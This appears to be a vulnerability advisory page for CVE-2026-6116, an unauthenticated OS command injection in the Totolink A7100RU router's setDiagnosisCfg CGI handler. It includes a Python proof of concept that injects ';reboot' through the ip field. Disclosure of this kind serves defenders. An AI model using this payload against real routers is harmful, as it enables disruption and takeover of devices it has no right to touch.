Security Vulnerability Report
中文
CVE-2026-6116 CVSS 9.8 CRITICAL

CVE-2026-6116

Published: 2026-04-12 05:16:01
Last Modified: 2026-04-27 19:05:57

Description

A vulnerability has been found in Totolink A7100RU 7.4cu.2313_b20191024. This vulnerability affects the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument ip leads to os command injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A7100RU 7.4cu.2313_b20191024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" headers = {"Content-Type": "application/json"} # Construct payload to inject command payload = { "function": "setDiagnosisCfg", "ip": ";reboot" # Injecting command separator } try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
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